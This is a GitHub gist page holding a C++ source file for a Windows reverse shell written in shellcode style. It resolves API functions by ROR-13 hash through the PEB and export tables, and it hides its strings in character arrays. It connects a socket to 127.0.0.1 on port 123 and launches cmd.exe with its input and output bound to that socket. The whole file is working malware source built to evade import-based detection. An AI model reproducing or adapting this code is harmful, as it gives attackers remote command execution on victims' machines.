Skip to content

Instantly share code, notes, and snippets.

@thomasxm
Forked from anonymous/main.cpp
Created June 9, 2024 21:13
Show Gist options
  • Select an option

  • Save thomasxm/3f5fd8d702e6f05e25783fb5d3e24fe5 to your computer and use it in GitHub Desktop.

Select an option

Save thomasxm/3f5fd8d702e6f05e25783fb5d3e24fe5 to your computer and use it in GitHub Desktop.

Revisions

  1. @invalid-email-address Anonymous created this gist Feb 14, 2016.
    164 changes: 164 additions & 0 deletions main.cpp
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,164 @@
    #include <WinSock2.h> // must preceed #include <windows.h>
    #include <WS2tcpip.h>
    #include <windows.h>
    #include <winnt.h>
    #include <winternl.h>
    #include <stddef.h>
    #include <stdio.h>

    #define htons(A) ((((WORD)(A) & 0xff00) >> 8) | (((WORD)(A) & 0x00ff) << 8))

    _inline PEB *get_peb() {
    PEB *p;
    __asm {
    mov eax, fs:[30h]
    mov p, eax
    }
    return p;
    }

    #define ROR_SHIFT 13

    constexpr DWORD ct_ror(DWORD n) {
    return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
    }

    constexpr char ct_upper(const char c) {
    return (c >= 'a') ? (c - ('a' - 'A')) : c;
    }

    constexpr DWORD ct_hash(const char *str, DWORD sum = 0) {
    return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum;
    }

    DWORD rt_hash(const char *str) {
    DWORD h = 0;
    while (*str) {
    h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT)); // ROR h, 13
    h += *str >= 'a' ? *str - ('a' - 'A') : *str; // convert the character to uppercase
    str++;
    }
    return h;
    }

    LDR_DATA_TABLE_ENTRY *getDataTableEntry(const LIST_ENTRY *ptr) {
    int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    return (LDR_DATA_TABLE_ENTRY *)((BYTE *)ptr - list_entry_offset);
    }

    // NOTE: This function doesn't work with forwarders. For instance, kernel32.ExitThread forwards to
    // ntdll.RtlExitUserThread. The solution is to follow the forwards manually.
    PVOID getProcAddrByHash(DWORD hash) {
    PEB *peb = get_peb();
    LIST_ENTRY *first = peb->Ldr->InMemoryOrderModuleList.Flink;
    LIST_ENTRY *ptr = first;
    do { // for each module
    LDR_DATA_TABLE_ENTRY *dte = getDataTableEntry(ptr);
    ptr = ptr->Flink;

    BYTE *baseAddress = (BYTE *)dte->DllBase;
    if (!baseAddress) // invalid module(???)
    continue;
    IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
    IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader->e_lfanew);
    DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!iedRVA) // Export Directory not present
    continue;
    IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
    char *moduleName = (char *)(baseAddress + ied->Name);
    DWORD moduleHash = rt_hash(moduleName);

    // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
    // element of both arrays refer to the same function. The first array specifies the name whereas
    // the second the ordinal. This ordinal can then be used as an index in the array pointed to by
    // AddressOfFunctions to find the entry point of the function.
    DWORD *nameRVAs = (DWORD *)(baseAddress + ied->AddressOfNames);
    for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
    char *functionName = (char *)(baseAddress + nameRVAs[i]);
    if (hash == moduleHash + rt_hash(functionName)) {
    WORD ordinal = ((WORD *)(baseAddress + ied->AddressOfNameOrdinals))[i];
    DWORD functionRVA = ((DWORD *)(baseAddress + ied->AddressOfFunctions))[ordinal];
    return baseAddress + functionRVA;
    }
    }
    } while (ptr != first);

    return NULL; // address not found
    }

    #define DEFINE_FUNC_PTR(module, function) \
    constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \
    typedef decltype(function) type_##function; \
    type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)

    #define DEFINE_FWD_FUNC_PTR(module, real_func, function) \
    constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \
    typedef decltype(function) type_##function; \
    type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)

    int main() {
    // NOTE: we should call WSACleanup() and freeaddrinfo() (after getaddrinfo()), but
    // they're not strictly needed.

    BYTE b0[] = {'w','s','2','_','3','2','.','d','l','l',0};
    BYTE b1[] = {'1','2','7','.','0','.','0','.','1',0};
    //long string for example
    BYTE b2[] = {'C',':','\\','W','i','n','d','o','w','s','\\','S','y','s','t','e','m','3','2','\\','c','m','d','.','e','x','e',0};

    char *sock_lib = (char *)&b0[0];
    char *r_name = (char *)&b1[0];
    int r_port = 123;
    char *cmd = (char *)&b2[0];

    DEFINE_FUNC_PTR("kernel32.dll", LoadLibraryA);

    LoadLibraryA(sock_lib);

    DEFINE_FUNC_PTR("ws2_32.dll", WSAStartup);
    DEFINE_FUNC_PTR("ws2_32.dll", WSASocketA);
    DEFINE_FUNC_PTR("ws2_32.dll", WSAConnect);
    DEFINE_FUNC_PTR("kernel32.dll", CreateProcessA);
    DEFINE_FUNC_PTR("ws2_32.dll", inet_addr);
    DEFINE_FUNC_PTR("ws2_32.dll", getaddrinfo);
    DEFINE_FUNC_PTR("ws2_32.dll", getnameinfo);
    DEFINE_FWD_FUNC_PTR("ntdll.dll", "RtlExitUserThread", ExitThread);
    DEFINE_FUNC_PTR("kernel32.dll", WaitForSingleObject);

    WSADATA wsaData;

    if (WSAStartup(MAKEWORD(2, 2), &wsaData))
    goto __end; // error
    SOCKET sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
    goto __end;

    addrinfo *result;
    if (getaddrinfo(r_name, NULL, NULL, &result))
    goto __end;
    char ip_addr[16];
    getnameinfo(result->ai_addr, result->ai_addrlen, ip_addr, sizeof(ip_addr), NULL, 0, NI_NUMERICHOST);

    SOCKADDR_IN remoteAddr;
    remoteAddr.sin_family = AF_INET;
    remoteAddr.sin_port = htons(r_port);
    remoteAddr.sin_addr.s_addr = inet_addr(ip_addr);

    if (WSAConnect(sock, (SOCKADDR *)&remoteAddr, sizeof(remoteAddr), NULL, NULL, NULL, NULL))
    goto __end;

    STARTUPINFOA sInfo;
    PROCESS_INFORMATION procInfo;
    SecureZeroMemory(&sInfo, sizeof(sInfo)); // avoids a call to _memset
    sInfo.cb = sizeof(sInfo);
    sInfo.dwFlags = STARTF_USESTDHANDLES;
    sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError = (HANDLE)sock;
    CreateProcessA(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &procInfo);

    // Waits for the process to finish.
    WaitForSingleObject(procInfo.hProcess, INFINITE);

    __end:
    ExitThread(0);

    return 0;
    }